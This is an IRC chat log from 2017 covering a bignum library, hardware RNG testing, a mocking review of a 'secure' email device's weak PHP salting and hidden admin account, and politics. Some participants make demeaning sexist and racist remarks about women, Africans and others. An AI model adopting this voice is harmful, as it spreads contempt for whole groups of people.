https://pbs.twimg.com/media/C-YmRkuWsAAjlXF.jpg 1648373;1493261589;mircea_popescu;and in future nurses, did we do https://68.media.tumblr.com/603b50d8351a3ff3b54e4f4ffdc8c702/tumblr_n8nbfqqovl1spdf5ao1_1280.jpg already ? 1648374;1493261612;mod6;lol 1648375;1493261629;mod6;Anyway, thanks for being an ear. 1648376;1493261635;shinohai;An entire triage unit! 1648377;1493261652;mircea_popescu;there;s a joke in there 1648378;1493261698;mircea_popescu;anyway, fancy this wonder, avg chicago schoolteacher makes more than jack warner averaged over his career. 1648379;1493261703;mircea_popescu;BUT THERE HAS BEEN NO INFLATION!!! 1648380;1493261752;mod6;today i bought lunch for me & perf lady today. $22.50. 1648381;1493261770;mod6;that's nearly 50 cheeseburgers in 1992 dollars. 1648382;1493261844;mod6;ok, not 50. 37.5. my bad (@0.60 each) 1648383;1493261881;mircea_popescu;where was that pic 1648384;1493261908;mircea_popescu;http://trilema.com/wp-content/uploads/2013/03/ciggs-60cents.jpg 1648385;1493261965;mod6;ah yah, Mitch! 1648386;1493262004;mircea_popescu;that was a pretty great film, actually. 1648387;1493262088;mod6;yah, nb. 1648388;1493262143;mod6;So, anyway, back to business here.. 1648389;1493262175;mod6;I've been meaning all month to get to do some ticket reorg for trb. I'm still going to try to it this week here. 1648390;1493262211;mod6;I appreciate TMSR's patience while I dealt with these other irl things. 1648391;1493262231;mod6;Wasn't a total loss this month being able to do some FG testing and eatblock testing. 1648392;1493263112;BingoBoingo;testing is work 1648393;1493263125;deedbot;http://qntra.net/2017/04/trump-unveils-plans-for-massive-tax-cut-benefiting-the-working-poor-in-us/ << Qntra - Trump Unveils Plans For Massive Tax Cut Benefiting The Working Poor In US 1648394;1493263270;mod6;BingoBoingo: werd. 'tis useful anyway. 1648395;1493263313;mod6;this morning's convo re profiling brings up some good points. 1648396;1493263562;mod6;was wondering what we might do about such things with Ada or trbi 1648397;1493263592;mircea_popescu;well ideally we won't need so much jungle profiling with properly written code. 1648398;1493263637;mod6;that's fair. 1648399;1493263659;asciilifeform;^ 1648400;1493263671;mod6;me and this lady wrote this performance framework to put this app under load and do simulations etc. 1648401;1493263716;mod6;was considering something of the same. but maybe it's not nearly as hard to get trbi or whatever we have under load; just hook it up, see what happens. 1648402;1493263866;mod6;will cross that bridge when we get to it. many other bridges ahead of it anyway. 1648403;1493263970;asciilifeform;properly-written proggy is worth > 1001yrs of debuggery. 1648404;1493263996;mod6;incomplete/buggy app isn't even worth performance testing anyway. 1648405;1493264036;asciilifeform;e.g. i got bignumatron core down to ~500ln, and this is without any 'cleverness' or 'idiomatic' liquishit. 1648406;1493264123;mod6;that's super exciting. trying to do pre-optimizations of code rarely works out well. just keep it simple, and if any optimizations are required, made later. 1648407;1493264165;mod6;i think there's a knuth quote somewhere about know where the 3% of the code is that is performance-significant 'optimize that, not everything'. 1648408;1493264179;mod6;(paraphrasing here) 1648409;1493264257;mod6;"We should forget about small efficiencies, say about 97% of the time: premature optimization is the root of all evil. Yet we should not pass up our opportunities in that critical 3%" 1648410;1493264259;asciilifeform;the unspoken corollary, is that sometimes there is ~no~ speed-critical component. at which point you can optimize for something else entirely. 1648411;1493264279;asciilifeform;in this case, correctness & fits-in-head. 1648412;1493264304;mod6;yeah. this is pretty landmark stuff here alf. 1648413;1493264438;asciilifeform;it'll make sense when you read the code. 1648414;1493264455;asciilifeform;( sorta whole point... ) 1648415;1493264637;asciilifeform;in other lulz, http://www.oregonlive.com/rosefest/index.ssf/2017/04/organizers_cancel_82nd_avenue.html >> '"You have seen how much power we have downtown and that the police cannot stop us from shutting down roads so please consider your decision wisely," the anonymous email said, telling organizers they could cancel the Republican group's registration or else face action from protesters. "This is non-negotiable."' 1648416;1493264665;asciilifeform;ben_vulpes ^ 1648417;1493264963;trinque;this fits my pet caricature of the antifa folks just fine. 1648418;1493264978;trinque;behold, mother, we have... disrupted part of a parade about flowers or something. 1648419;1493265019;trinque;far cry from that guy's "the left is willing to crack heads, unlike the right" 1648420;1493265098;trinque;the narcissism prevents them or anyone else on teh continent from organized behavior 1648421;1493265356;mod6;"everyone must share our opinion! 2+2=5!" 1648422;1493266445;mod6;BingoBoingo: thanks for linking http://trilema.com/2015/btmsr-and-fundamental-justice-reform/ 1648423;1493266797;BingoBoingo;yw 1648424;1493267039;mod6;(which also links gpg-contracts; required reading) 1648425;1493269335;pete_dushenski;http://www.washingtonexaminer.com/trump-absolutely-looking-at-breaking-up-9th-circuit-court-of-appeals/article/2621379 <--> http://qntra.net/2017/02/9th-circuit-refuses-to-reject-order-staying-trump-executive-action/ 1648426;1493287628;Framedragger;special delivery for asciilifeform's barf collection: https://news.ycombinator.com/item?id=14209897 (this comment) 1648427;1493291308;deedbot;http://phuctor.nosuchlabs.com/gpgkey/F9126CEFDBE6D3D04B277D15BFB9C3C252A66A5719D25500191324224585BEEF << Recent Phuctorings. - Phuctored: 9114393414333 divides RSA Moduli belonging to '91.92.112.65 (ssh-rsa key from 91.92.112.65 (13-14 June 2016 extraction) for Phuctor import. Ask asciilifeform or framedragger on Freenode, or email fd at mkj dot lt) ; ' (. BG) 1648428;1493296500;asciilifeform;Framedragger: snoar 1648429;1493300756;asciilifeform;in not-quite-noose, https://archive.is/6deIg >> 'When I take a good hard look at what the world will be like in 10 years, I think most things are going to be on lease' 1648430;1493300799;asciilifeform;'He recruited a former hedge fund salesman named Kyle Ferguson as co-founder and launched Wags Lending, thinking dog leases would mark just the first step in a vertically integrated pet-financing company that would eventually include food deliveries, chew-toy subscriptions, and veterinary loans. Then their point-of-sale lease financing became a hit, and they decided to double down on it.' 1648431;1493301597;mircea_popescu;http://btcbase.org/log/2017-04-27#1648419 >> lol rank nonsense. the left is willing to talk about how it's just as good as the right. 1648432;1493301597;a111;Logged on 2017-04-27 03:50 trinque: far cry from that guy's "the left is willing to crack heads, unlike the right" 1648433;1493301806;mircea_popescu;http://btcbase.org/log/2017-04-27#1648429 << somehow they're married to this idea that people will continue interacting with the apes. i have no idea why this is so deeply entrenched, but let's just say it's entirely nonsense. 1648434;1493301806;a111;Logged on 2017-04-27 13:45 asciilifeform: in not-quite-noose, https://archive.is/6deIg >> 'When I take a good hard look at what the world will be like in 10 years, I think most things are going to be on lease' 1648435;1493301835;mircea_popescu;the world of the future is, girl hopes to be taken in by someone 3 links removed from a lord, and the boy is euthanised at birth. 1648436;1493301985;*;mircea_popescu also likes BingoBoingo tax piece. he's shaped himself into quite the gazette's editor, hasn't he! 1648437;1493302900;mircea_popescu;http://btcbase.org/log/2017-04-25#1647833 << aaand it's gone. every day since last year, two day absence since april 25th. idjits. 1648438;1493302900;a111;Logged on 2017-04-25 15:58 asciilifeform: aah lolk 1648439;1493302946;mircea_popescu;it all goes back again and again AND AGAIN to that http://btcbase.org/log/2017-04-26#1648191 piece. 1648440;1493302946;a111;Logged on 2017-04-26 23:44 mircea_popescu: "My own experience here is depressing – nobody, not even the smartest folks, is willing to read anything unless they came specifically to read. If they came for any other purpose, forget it. When you're a tutorial, you can tell things to people and they listen. When you're an error message, people read you to the extent necessary to make you go away but no further. And when you're a warning, people simply ignore you. It suc 1648441;1493302967;mircea_popescu;"modern mind does not wish to take action until something hurts and does not agree anything is allowed to hurt it" 1648442;1493304071;mod6;mornin' 1648443;1493304191;mircea_popescu;heya 1648444;1493304222;mircea_popescu;how's teh morning find ya mod6 1648445;1493304238;mod6;ah good, slept well for the first time in what seems like weeks. 1648446;1493304250;mircea_popescu;good for youy 1648447;1493304271;mod6;how's everything goin for you? 1648448;1493304286;mod6;(fun fact, it's snowing here... ever-so-slightly) 1648449;1493304318;mircea_popescu;in april ?! 1648450;1493304327;mircea_popescu;eh, im just prepping up a new article. 1648451;1493304426;mod6;ah nice. 1648452;1493304445;mod6;yeah, it happens sometimes. april, lot of precip, sometimes gets cold enough. 1648453;1493304466;mod6;i've seen it snow on June 1st here few years ago. 1648454;1493304553;mircea_popescu;i last saw snow like five years ago 1648455;1493304624;mod6;It's one of those things, kinda neat/pretty, but a huge PITA for driving and other activities. 1648456;1493304702;mircea_popescu;i bet. 1648457;1493305388;mircea_popescu;Framedragger so how do i get the interval set up in your logotron ? i clicked on a date and got the #34 added. but the dot is not clickable so i can't close the interval. wut do ? 1648458;1493305521;mircea_popescu;i guess i reconstructed the http://log.mkj.lt/trilema/20170427/from:34/to:46#34 format on the basis of logs. 1648459;1493305521;scriba;Logged on 2017-04-27: [02:14:22] * mircea_popescu went to business school here today, spent five minutes listening in on what evidently was the graduation project of some 4th year kid. do you know what he had ? 1648460;1493306479;*;lobbes is looking forward to this latest trilema 1648461;1493306552;lobbes;I wonder if CR businezz schools also force their students to take 'environmental responsibility' courses like in usia 1648462;1493306713;mircea_popescu;i expect the cr business ~students~ insist, because by the looks of them they REALLY need the easy credits. 1648463;1493306829;mircea_popescu;in my experience there's two major demographics interested in the business school, one being kids who could master physics but do not wish to because they'd much rather live with a half dozen whores than with a labful of mice ; the other being girlies who could not actually master poledance who figure they should not have to try anwyay and live out their whole lives as mediocre strippers because reasons ("i'm smart! everyone 1648464;1493306829;mircea_popescu;tells me so!"). 1648465;1493306875;mircea_popescu;their relative interplay describes exceedingly well the degree of rot in the society the business school represents : if the girls are submissive and very warmly and wetly thankful for being allowed to go there it's type A, if they figure they run the place it's type B. 1648466;1493306904;mircea_popescu;the distinction can readily be made on whether it is acceptable or not acceptable to "not be good with numbers", for which the "responsibility" courses are a great proxy. 1648467;1493307041;mircea_popescu;seeing how the only graduation paper i reviewed was "entrepreneurship as a succession of pictures of faces" as opposed to "entrepreneurship modeled as a banach algebra"... 1648468;1493307101;asciilifeform;eh the banach folx still produced goldman sachs, rather than honest commerce. 1648469;1493307172;deedbot;http://trilema.com/2017/mathilde-the-ant-or-mathilde-the-data-processing-system-at-your-option-with-extras-either-way/ << Trilema - Mathilde the ant or Mathilde the Data Processing System, at your option. With extras either way. 1648470;1493307211;asciilifeform;in recent comedic gold : https://archive.is/WGZLN << 'knifeman' 1648471;1493307240;mircea_popescu;nevertheless. 1648472;1493307319;mircea_popescu;lmao england is such a shit hole these days 1648473;1493307596;mircea_popescu;anyway, re the earlier point - there's a very strong line dividing the case where "your idea will never work, but you can have an A anyway" because obviously you can't write a functional description of business but nevertheless that should not stop you from trying ; and "your idea if you can call it that means you can never get anything other than an F no matter what you do", because apparently you separated from human cultur 1648474;1493307597;mircea_popescu;e sometime around preschool. 1648475;1493307623;mircea_popescu;i don't so much care whether the goldman sachs attempt worked or didn't work. i very much care that juju worship be socially unacceptable. 1648476;1493307656;mircea_popescu;ie, the "results-oriented culture" applies strictly to a subset of possible things. you'll compare two doctors on the basis of whether their techniques work, but a shaman is not included nor can be included in the proceedings. 1648477;1493307732;mircea_popescu;and to not put to fine a point on it : white culture ~WHICH MEANS~ human culture entirely rests on the notion that some are inferior. things, people, ideas, methods, etcetera. this is the underpinning of "european heritage" or whatever you wish to call it : the notion of inferioritate altrui. 1648478;1493307761;asciilifeform;granted asciilifeform is not a pro voodoo priest, but imho, e.g., black–scholes, or the 'standard model' of physics, are equally 'juju', and equally divorced from physical reality, and far more destructively so than some orc derp praying to a moloch made from old tin cans in some mournful shithole 1648479;1493307886;asciilifeform;the basic sin of the orc and 'human' jujuist are the same. just as, e.g., murder committed with a wooden club is exactly as murderous as with death ray; or scam pulled with 'shell game' is just as scammy as with derivatives. 1648480;1493307976;mircea_popescu;asciilifeform which is why the difference between physicist and physiciatrian is currently made by ~how~ they introduce the models. 1648481;1493307988;asciilifeform;http://btcbase.org/log/2017-04-27#1648477 << i dun think this 'equality' nonsense exists, or ever existed, as anything other than a ~professed~ belief among the rotters. nobody actually buys it. 1648482;1493307988;a111;Logged on 2017-04-27 15:42 mircea_popescu: and to not put to fine a point on it : white culture ~WHICH MEANS~ human culture entirely rests on the notion that some are inferior. things, people, ideas, methods, etcetera. this is the underpinning of "european heritage" or whatever you wish to call it : the notion of inferioritate altrui. 1648483;1493308001;mircea_popescu;fat african women buy it. 1648484;1493308005;asciilifeform;even lowliest 'redditor' looks down at what he thinks are the yet-scummier redditus. 1648485;1493308011;mircea_popescu;always have. that's the backbone of africa, culturally. 1648486;1493308038;asciilifeform;'fat african women' are as american as crapple. 1648487;1493308044;mircea_popescu;and, of course, anal children secrete it naturally, like harlequinism victims secrete chitin plates. 1648488;1493308052;mircea_popescu;asciilifeform you ever been to africa ? 1648489;1493308064;asciilifeform;can't say that i have, or desperately burning with urgency to. 1648490;1493308085;mircea_popescu;then on what scent did you train your heuristicdog! 1648491;1493308087;asciilifeform;( and become mircea_popescu proceeds to recall his egypt -- egypt is not anthropological africa... ) 1648492;1493308122;mircea_popescu;(harlequinism ie harlequin-type ichthyosis, a frightening disease of the body mirroring the sad state of anal child's mind) 1648493;1493308131;asciilifeform;i haven't yet been to pripyat, either; or to fukushima; or to st. quentin prison; etc. 1648494;1493308158;asciilifeform;mircea_popescu: pretty sure that barnum had an ichthyosis sufferer in his lineup 1648495;1493308193;mircea_popescu;asciilifeform but you need something to judge on. otherwise what you're saying is "on the basis of all the dogs i've seen, elephant is as canine as caniche", ie, http://trilema.com/2017/zuleika-dobson-or-an-proper-love-story/#footnote_10_71892 1648496;1493308194;asciilifeform;( the barnum circus co, incidentally, apparently is closing down for good, quite soon. ) 1648497;1493308222;asciilifeform;mircea_popescu: who, in historic africa, was fat ? 1648498;1493308234;asciilifeform;if mircea_popescu can 'aristotelize' from elementary principles, why not asciilifeform . 1648499;1493308254;mircea_popescu;old women. 1648500;1493308281;asciilifeform;i dunno that i've ever even seen, with own eyes, a ~fat~ old woman. 1648501;1493308287;asciilifeform;from africa, or from antarctica, any. 1648502;1493308313;mircea_popescu;and since we're on this : egypt is, for the arab world, a sort of holywood/bolywood. it is where the official tv arabic is spoken on the street, and it is where every flea bitten hussy aims to go. fulla sudanese hotties just like burbank is fulla kansas ra ra fuck ma a'. 1648503;1493308326;mircea_popescu;asciilifeform really ?! 1648504;1493308329;asciilifeform;rly 1648505;1493308352;asciilifeform;dun prove anything, either way. if mircea_popescu tells me that they exist -- i'ma believe. 1648506;1493308359;*;mircea_popescu had recently pic of african shaman fatties on the very trilema. 1648507;1493308364;asciilifeform;hm 1648508;1493308418;mircea_popescu;https://en.wikipedia.org/wiki/Traditional_healers_of_South_Africa#/media/File:Five-sangomas.jpg 1648509;1493308427;mircea_popescu;notice similarity to famous prehistoric fat woman statuette ? 1648510;1493308443;asciilifeform;these dun look old tho 1648511;1493308457;mircea_popescu;would you describe them as "young women" ie "girls" ? 1648512;1493308474;asciilifeform;hard to say, too far departed from what i see as human form 1648513;1493308484;mircea_popescu;then what's left ? 1648514;1493308489;asciilifeform;( can you say from photo old 'elephant man', how old he was in photo! ) 1648515;1493308518;mircea_popescu;the "old" in "old woman" does not describe the physical woman in question. it describes her chances of successful interaction with the lordship. 1648516;1493308533;mircea_popescu;just like "expensive car" does not mean something about the car. 1648517;1493308534;asciilifeform;aaah lolk 1648518;1493308569;mircea_popescu;it says something about the context in which the car finds itself ~whether it wants to or not~. 1648519;1493308636;mircea_popescu;"old woman" == "female sapiens expected to have found her master prior to the moment of speech". 1648520;1493308966;asciilifeform;https://archive.is/ud0nd << in other lulz 1648521;1493308980;asciilifeform;^ the tardano makers -- never sleep!111 1648522;1493309007;asciilifeform;'Now, as soon as I looked at this device I already had a really bad feeling. First of all, through the vent holes on the top I could see that the PCB inside took up ~25% of the footprint of the device, the case was considerably larger than the PCB inside it, which seemed odd. Second, the MAC address on the bottom looked familiar, really familiar. Putting that little thought to the back of my mind I cracked open the case by removing t 1648523;1493309007;asciilifeform;he standard screws in the bottom to confirm my initial suspicion.' 1648524;1493309145;mircea_popescu;lol 1648525;1493309161;asciilifeform;embedded bonus lol: 1648526;1493309165;asciilifeform;'This is great news, I can't send emails from my new super awesome secure email server to anyone with a Microsoft email account because they just return it. The story is pretty similar across the board with the email either being returned or put straight in the spam folder of the recipient. I tried against GMail and a few other large providers and found that not one of them made it to the inbox anywhere. After I got a few emails boun 1648527;1493309165;asciilifeform;ced I thought I'd check to see if my IP had been flagged yet and to my surprise it had already been placed on 3 blacklists!' 1648528;1493309176;asciilifeform;^ fact. ( recall the original jwz thread ? ) 1648529;1493309195;mircea_popescu;asciilifeform shoot the guy an email ? 1648530;1493309210;mircea_popescu;he has an encrypt form on his contact page even. 1648531;1493309274;mircea_popescu;phuctor even has his key. 1648532;1493309277;asciilifeform;what to tell him ? 1648533;1493309285;asciilifeform;( asciilifeform is currently batting 0/N ... ) 1648534;1493309288;mircea_popescu;http://phuctor.nosuchlabs.com/gpgkey/DB9212AFDE64632A2384BB28467A4FAD3239E180B3652C3846711A145B03C768 1648535;1493309297;asciilifeform;i'ma quite willing to try tho 1648536;1493309301;mircea_popescu;asciilifeform ask if he wants to check out the FUCKGOATS 1648537;1493309307;asciilifeform;aite. 1648538;1493309314;mircea_popescu;i figure we can afford a test unit for some dude you read. 1648539;1493309330;asciilifeform;fwiw i read him today for first time. 1648540;1493309333;asciilifeform;but sure. 1648541;1493309355;mircea_popescu;hey, he got mentioned in the most serene republic's forum, no backsies. 1648542;1493309450;mircea_popescu;"Because the device is just a Raspberry Pi under the hood that made taking a backup really easy. I simply popped out the Micro SD card and put it in my card reader and used Win32DiskImager to take a full clone of the card." in other lulz. 1648543;1493309527;mircea_popescu;lol "super secure email of the future" runs not just dovecot, but also php and mysql for good measure. 1648544;1493309652;mircea_popescu;o further gems : function generate_setup_password_salt() { $salt = time() . '*' . $_SERVER['REMOTE_ADDR'] . '*' . mt_rand(0,60000); $salt = md5($salt); return $salt; :D 1648545;1493309706;mircea_popescu;ahahaha SUPPORTS GO-DADDY domains ONLY! 1648546;1493309878;mircea_popescu;in order to... use it as ddns! 1648547;1493309938;asciilifeform;sooo i wrote to him. 1648548;1493309947;mircea_popescu;create-handshake.php! 1648549;1493310150;mircea_popescu;lol undocumented admin account. this shit's pretty epic. 1648550;1493310399;mircea_popescu;!~google shawn@digiland.com 1648551;1493310402;jhvh1;mircea_popescu: Digiland tablet ( Cell Phones ) in San Jacinto, CA - OfferUp: ; nomx: The world's most secure communications protocol - Scott Helme: ; How-To: Root TIANSHI DIGI-LAND DL1010Q a1008l_v1.4 4.4.2: https://www.sec.gov/litigation/litreleases/lr16935.htm ("guaranteed" bond "platform" targetting old people / revolutionary data compressing technology) 1648687;1493316456;mircea_popescu;somehow that ilona alexis mendelbaum character managed to not put tits up, either, which is the most scandalous part of the whole affair. 1648688;1493316561;phf;i don't think it's masochism, it's very much in the knuthlamportdijkstra tradition of things, but yeah, typically you would ask cpu with asm if there was an overflow 1648689;1493316639;phf;and all the bignums are the same size? judging by the fact that you're walking the bigits with the same index? 1648690;1493316734;asciilifeform;phf: indeed they are 1648691;1493316831;asciilifeform;phf: http://wotpaste.cascadianhacker.com/pastes/IZdid/?raw=true << sneak preview. 1648692;1493316855;asciilifeform;^ not final, signed, or intended for battlefield use by anybody, quite yet. 1648693;1493317103;mircea_popescu;https://nomx.com/ << putting here for a snapshot. 1648694;1493317124;asciilifeform;lol mircea_popescu is enjoying himself! 1648695;1493317159;mircea_popescu;pretty lulzy. 1648696;1493317170;mircea_popescu;the butthurt is like tardstalk.org grade. 1648697;1493317201;*;mod6 looks 1648698;1493317211;mircea_popescu;"we perceive that there's significant differential between the illiterate tards we are targetting and the people capable of following this ~blogger's~ (you know, as if that's somehow derrogatory) article." 1648699;1493317213;asciilifeform;phf: 'infinitely' expandable bignums have their place -- phuctor, for instance. but they are a specialized and EXPENSIVE thing 1648700;1493317245;asciilifeform;( expensive in complexity , rather than cpu ) 1648701;1493317302;asciilifeform;there is no valid reason to have them in a crypto proggy. 1648702;1493317336;asciilifeform;note that 'fz' size can be whatever you like. it simply has to be set at warmup time. 1648703;1493317365;asciilifeform;( the first command in a 'P' program is to set the register width. ) 1648704;1493317380;asciilifeform;the second -- sets the maximal number of computational steps. 1648705;1493317385;phf;can you have multiple different sized (obviously non-compatible) bignums in the same system? 1648706;1493317396;asciilifeform;you could. but why. 1648707;1493317406;mircea_popescu;asciilifeform is http://btcbase.org/log/2016-08-18#1524210 thereby getting cemented into the thing ? you're making 258 bit bignums or what 1648708;1493317406;a111;Logged on 2016-08-18 12:32 mircea_popescu: asciilifeform since we're on this btw, the way i want tmsr-rsa key generation to work is as follows : a contains a number of entropy bytes specified by user in tmsr-rsa.conf read whenever tmsr-rsa.conf specifies (such as urandom); b contains a base-tmsr string specified by user. c = base-tmsr(a).b ; p = nextprime(cut(sha512(c),257)) ; process is repeated for q = nextprime (cut(sha512(c'),258)); 1648709;1493317416;asciilifeform;mircea_popescu: goddamnit 1648710;1493317421;asciilifeform;N bits ! 1648711;1493317426;asciilifeform;N gets set when program runs. 1648712;1493317432;asciilifeform;consider reading the link... 1648713;1493317450;asciilifeform;no magic nums. 1648714;1493317466;asciilifeform;no heap use. 1648715;1493317491;mircea_popescu;you want me to read and understand 500 lines of ada "sneak preview" in real time ? 1648716;1493317504;asciilifeform;http://btcbase.org/log/2016-06-09#1479551 << see also. 1648717;1493317504;a111;Logged on 2016-06-09 22:06 asciilifeform: sooooooo in other nyooz here's a small preview of things to come: 1648718;1493317544;asciilifeform;mircea_popescu: end goal is specifically something that specifically mircea_popescu could read, while emptying a glass of rum, without any booklarnin' required. and grasp it. 1648719;1493317574;mircea_popescu;yeah but ima read the release. 1648720;1493317579;asciilifeform;no rush. 1648721;1493317650;asciilifeform;general principle is -- running in fixed space. 1648722;1493317673;asciilifeform;(how much space -- can be set for the occasion. but no growth.) 1648723;1493317697;asciilifeform;the other principle is simplicity above all else save correctness. 1648724;1493317744;asciilifeform;no optimizations of any kind whatsoever. ( in fact, pessimizations, e.g. comparisons all take same amount of time regardless of where difference is, or whether there is one. addition of 0+0 takes same time as, e.g., 2**256 - 1 + 2**256 - 1 . etc ) 1648725;1493317830;mircea_popescu;in other lulz, http://colin.keigher.ca/2017/01/anti-virus-is-worthless.html 1648726;1493317899;phf;asciilifeform: question lets me understand moving parts better, rather than specifics 1648727;1493317948;asciilifeform;there is a minimum of specifics. 1648728;1493317986;phf;rather than "omg, i want this to be variable sized in my next progy!!1" 1648729;1493318033;phf;rather than "omg, i want this to be variable sized in my next progy!!1" 1648730;1493318033;phf;easy boy 1648731;1493318099;asciilifeform;when you instantiate the generic, you get a bignumtron of given width. 1648732;1493318106;asciilifeform;( can do it as many times as you like ) 1648733;1493318132;mircea_popescu;"I really, really like the fact that Microsoft has embraced Linux in the form of releasing Ubuntu on Windows." "Keep the operating system up to date. If Windows 10 rebooting on you is so inconvenient, you're a lost cause--the most recent update lets you defer up to a month by the way." << same source. 1648734;1493318143;mircea_popescu;windows idiots are quite the fucking problem aren't they. 1648735;1493318435;trinque;guy even says "embraced". 1648736;1493318441;mircea_popescu;you know ? 1648737;1493318463;mircea_popescu;there's a large pile of these, by the way, windows "computer experts". 1648738;1493318463;trinque;after several threads with mircea_popescu re: language I look for that kind of thing everywhere 1648739;1493318469;trinque;guy's subconsiously politically signaling 1648740;1493318503;mircea_popescu;and they all did the same things -- worked in "anti virus" for a spell, are very much into "virtualization", etc. 1648741;1493318538;mircea_popescu;sort-of like how unemployable & unmarrigeable (in a word -- entirely unmarketable) "graduate student" is all into haskell, and africa-inclusive python etc. 1648742;1493318560;mircea_popescu;the windows "computer expert" generally got hired as an intern by some usg."corporation" and specialiuzed in the workplace. 1648743;1493318613;mircea_popescu;graduated from "i can make website" to "excel support" to "windows troubleshooting" to eventually "powershell" and "put it in my card reader and used Win32DiskImager to take a full clone of the card." 1648744;1493318785;asciilifeform;'Don't use pirated software or pirate any content. Netflix is cheap, Spotify is free if you tolerate ads, and honestly there are tonnes of open source solutions for whatever you need to do.' << lol!! 1648745;1493318841;trinque;elliot did a lot of this, regurgitation of bad marketing, like most of his reading involved cereal boxes and ends of infomercials 1648746;1493318889;mircea_popescu;does there exist a substantial us conversation BESIDES regurgitation / repackaging of marketing content ? 1648747;1493318937;mircea_popescu;you may think eg pete_dushenski is a little strange for desiring nothing other than you know, making a new website where to retell fuckgoats shop page "in his own words". but who does anything else, on that sad continent ? where ? when ? 1648748;1493318988;mircea_popescu;jerry seinfeld cropped his ad-hoc speech to "mr and mrs ross" from something called "The wrath of khan", which was what ? space-soap opera, ie extended kitchen detergent sales copy. 1648749;1493319033;mircea_popescu;the last time us citizen actually said something in public that wasn't marketing-derivative might have been before mark twain was born. 1648750;1493319075;trinque;see: hood chicago for extreme case of "kill anything that rises higher than this line" 1648751;1493319091;trinque;seems to be what the whole anglosphere did to itself 1648752;1493319093;mircea_popescu;it's one way to... "keep the peace" 1648753;1493319105;trinque;and turn everyone into tribal idiots 1648754;1493319135;mircea_popescu;hey, the (at the time, 1917s, 1867s etc) noted anti-intellectualism of usians yielded ~something~. 1648755;1493319341;Framedragger;re. american who said sth interesting, i volunteer david lewis (the philosopher)! inb4 BingoBoingo's "only american philosopher was james joyce" 1648756;1493319379;mircea_popescu;Framedragger i had something narrower in mind, everyday social conversation. 1648757;1493319412;Framedragger;yeah, mk :) i mean, you may as well be right lol. 1648758;1493319432;*;trinque spent months years ago not talking to a soul except as needed at work 1648759;1493319440;mircea_popescu;samuel clemens not random pick, he did these ad hoc speeches over dinner etc. 1648760;1493319462;trinque;was lovely. 1648761;1493319472;mircea_popescu;kinda wolfish neh ? 1648762;1493319522;trinque;sure, and was doing mostly that, prowling about in nature, with free time 1648763;1493319585;trinque;it's probably a better life to have the mind filled with the words of the intelligent, but silence is preferable to the neurotic babble 1648764;1493319586;mircea_popescu;inb4 us medical profession wakes up to the sad fact that the raise in autism has nothing to do with ~organic~ causes. the kids just don't like the environment any, opt out. 1648765;1493319611;trinque;"no, I just want to kill everyone I see" 1648766;1493319724;Framedragger;s/james joyce/william james/ ^ BingoBoingo i mixed up my english, too 1648767;1493319746;mircea_popescu;i thought you were being insulting deliberately o.O 1648768;1493319780;phf;i thought that was some kind of high brow snark 1648769;1493319843;mircea_popescu;it'd have been high brow snark had the reference somehow worked ; but i couldn't unearth one that'd so work. "last us philosopher was this irish novelist" 1648770;1493319877;Framedragger;yeah in retrospect should have left that one be 1648771;1493319898;mircea_popescu;(see a,a novel and the whole joyce-warhol "dialogue" also) 1648772;1493320111;Framedragger;hah i didn't know about that! nice one... 1648773;1493320162;Framedragger;btw there are like 770 people sitting and talking on ##crypto, it might not even be 100% hopeless, curious if they would respond well to FUCKGOATS advertising 1648774;1493320171;asciilifeform;'people' 1648775;1493320214;Framedragger;usg sybils deliberately working to blackhole asciilifeform's emails! 1648776;1493320225;trinque;check it out; he learned the splitting 1648777;1493320242;asciilifeform;Framedragger: 'people' in the sense of the randos hanging out, e.g., here, and never saying a word, is the idea. 1648778;1493320295;mircea_popescu;there's a bunch of these obscure clutches in us subculture. elvis and his colonel, warhol and his hanger ons, the beatles + yoko ono + etc, waters divine and the whol;e baltimore gang, the algonquin long table, on it goes. 1648779;1493320307;mircea_popescu;pretty much all that grows on the fertile soil of the red skin's plain is potatoe. 1648780;1493320337;Framedragger;asciilifeform: when i said "might not even be worthless" i actually meant it in the sense that i observe chatter there and it's not all ~noise (but very small sample, and no time to read backlog there). then again, sure markov bots etc 1648781;1493320345;asciilifeform;Framedragger: invite'em in 1648782;1493320374;mircea_popescu;* Loaded log from Sun Jul 13 00:34:38 2014 1648783;1493320379;mircea_popescu;apparently i was there before. 1648784;1493320423;Framedragger;posted msg. inb4 "spamzor!" 1648785;1493320459;asciilifeform;Cannot join #crypto (Channel is invite only). << interesting 1648786;1493320484;mircea_popescu;* Topic for ##crypto is: Welcome to ##crypto for cryptography theory and practice | "We appeal, as human beings, to human beings: Remember your humanity, and forget the rest." | Resources: http://www.cacr.math.uwaterloo.ca/hac http://www.keylength.com | Ethics: http://web.cs.ucdavis.edu/~rogaway/papers/moral-fn.pdf 1648787;1493320485;mircea_popescu;* Topic for ##crypto set by hlieberman at Fri Jan 20 11:28:52 2017 1648788;1493320497;asciilifeform;## worx yea 1648789;1493320501;asciilifeform;but what's in that other. 1648790;1493320513;phf;whisperers 1648791;1493320514;mircea_popescu;probably schneier. 1648792;1493320531;asciilifeform; also,I'd never touch anything named that,regardless of quality. onerng is out there fyi << lel 1648793;1493320557;asciilifeform;btw we did the 'onerng' thing here. 1648794;1493320582;asciilifeform;!#s onerng 1648795;1493320582;a111;26 results for "onerng", http://btcbase.org/log-search?q=onerng 1648796;1493320613;asciilifeform;http://btcbase.org/log/2014-10-28#900089 << the thread of interest. 1648797;1493320613;a111;Logged on 2014-10-28 12:51 asciilifeform: 2) http://moonbaseotago.com/onerng/schematic.png << vendor schematic. see bottom-right-hand, 'AP3105' switching voltage-booster. it's there because 3v is not enough to run an avalanche diode. guess how the booster works? 1648798;1493320624;phf;i think the name is very much reminiscent of phrack oldschoolery, presumably before "Captain_Beezay" was old enough to computers 1648799;1493320814;asciilifeform;copy-of-a-copy-of-a... like so much other anglo. 1648800;1493320874;mircea_popescu;phf yeah well. 1648801;1493320878;mod6;Test run #3 of `ent` && `dieharder` against 2nd FG finished: http://www.mod6.net/fg/fg-test/fg2.ent_run3.txt http://www.mod6.net/fg/fg-test/fg2.dieharder_run3.txt 1648802;1493320894;mod6;Will be moving on to third FG next. 1648803;1493320938;trinque;not so much the copying as 1) copy what? and 2) why are the copies so lossy 1648804;1493320940;Framedragger;nice one mod6, entropy still at steady 8.0 bits per byte i see :D 1648805;1493320953;mod6;yeah, very steady on that part Framedragger 1648806;1493320967;asciilifeform;mircea_popescu: them heathens dun have logz, do they. 1648807;1493320982;mod6;once all 5 are done, i'll pull together something more comprehensive for comparison; currently, i just have the raw output test data. 1648808;1493321015;asciilifeform;mod6: one of my chronic irritants re testing fg is that i have nothing whatsoever worth comparing against. 